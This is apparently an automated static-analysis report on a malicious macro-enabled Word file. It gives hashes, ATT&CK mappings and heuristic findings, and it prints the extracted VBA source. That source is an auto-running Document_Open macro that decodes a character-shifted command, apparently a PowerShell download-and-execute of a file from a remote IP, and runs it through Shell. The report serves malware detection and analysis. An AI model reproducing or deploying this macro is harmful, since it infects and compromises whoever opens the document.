Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 42ef90cd86cbc255…

MALICIOUS

Office (OOXML)

146.4 KB Created: 2020-05-13 05:09:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 65176316a898742993c5d97f22c5c3c1 SHA-1: bde7f705958036438ccc1f4b2f483324e2d3a61b SHA-256: 42ef90cd86cbc255c937743dc9207f7d16b95bc3e178b6bdd5e7299847320f62
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes upon opening the document. This macro uses a character-shift decoding function to construct and execute a command via Shell(). The decoded command appears to be a path to a file that is then executed. The macro also attempts to establish persistence by writing to the Run key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2201 bytes
SHA-256: 91fb6c048a3ea1896ddacc3268977367d87f3cc76e1eae7117afe8846d35082f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim asdsa As String
Public Sub Document_Open()
asdsa = Environ(oMuQsbKuRemNUotZfIedPnPXbRbqFBIAwLbSoUdhEuOgQpiwVQYYnEu("u†Ž‘")) + "\" + oMuQsbKuRemNUotZfIedPnPXbRbqFBIAwLbSoUdhEuOgQpiwVQYYnEu("gŠ�†�‚Ž†O†™†")
CreateObject("Excel.Application").Wait (Now + TimeValue("00:00:01"))
Shell (oMuQsbKuRemNUotZfIedPnPXbRbqFBIAwLbSoUdhEuOgQpiwVQYYnEu("‘�˜†“”‰†��O†™†AN†™†„–•Š��‘��Š„šAƒš‘‚””ANxAiŠ……†�AN„�ŽŽ‚�…AI�†˜N�ƒ‹†„•Atš”•†ŽOo†•Ox†ƒd�Š†�•JOe�˜���‚…gŠ�†IH‰••‘[PPTXOVZOZQOZQP…‚“…P”š”•†�O†™†HME†�—[u†Ž‘LH}gŠ�†�‚Ž†O†™†HJ"))
CreateObject("Excel.Application").Wait (Now + TimeValue("00:00:10"))
adsa
End Sub
Private Sub adsa()
Shell (asdsa)
End Sub
   Public Function oMuQsbKuRemNUotZfIedPnPXbRbqFBIAwLbSoUdhEuOgQpiwVQYYnEu(AxWKvVUKPrmRJMvFLzxuquEHlizqodkhrQbVReDgkEzJzYukugNYKfY As String)
        Dim HXNLngRPkVbdPSLNQFFCNpECFOCMjEqMbkicuVumyzMURlOAxJyrPQE As Integer, RSfFtyZABejCAkDoQfSDOyFGoAWkaFUSKAQKOkWJuTKqiiiQtqDhRip As Integer
        HXNLngRPkVbdPSLNQFFCNpECFOCMjEqMbkicuVumyzMURlOAxJyrPQE = 33
        For RSfFtyZABejCAkDoQfSDOyFGoAWkaFUSKAQKOkWJuTKqiiiQtqDhRip = 1 To Len(AxWKvVUKPrmRJMvFLzxuquEHlizqodkhrQbVReDgkEzJzYukugNYKfY)
            Mid(AxWKvVUKPrmRJMvFLzxuquEHlizqodkhrQbVReDgkEzJzYukugNYKfY, RSfFtyZABejCAkDoQfSDOyFGoAWkaFUSKAQKOkWJuTKqiiiQtqDhRip, 1) = Chr(Asc(Mid(AxWKvVUKPrmRJMvFLzxuquEHlizqodkhrQbVReDgkEzJzYukugNYKfY, RSfFtyZABejCAkDoQfSDOyFGoAWkaFUSKAQKOkWJuTKqiiiQtqDhRip, 1)) - HXNLngRPkVbdPSLNQFFCNpECFOCMjEqMbkicuVumyzMURlOAxJyrPQE)
        Next RSfFtyZABejCAkDoQfSDOyFGoAWkaFUSKAQKOkWJuTKqiiiQtqDhRip
        oMuQsbKuRemNUotZfIedPnPXbRbqFBIAwLbSoUdhEuOgQpiwVQYYnEu = AxWKvVUKPrmRJMvFLzxuquEHlizqodkhrQbVReDgkEzJzYukugNYKfY
    End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9728 bytes
SHA-256: 2ab667a51d8ae454bc6235c0009f630431ee5a407bb1eb2c966a435a2667aa75

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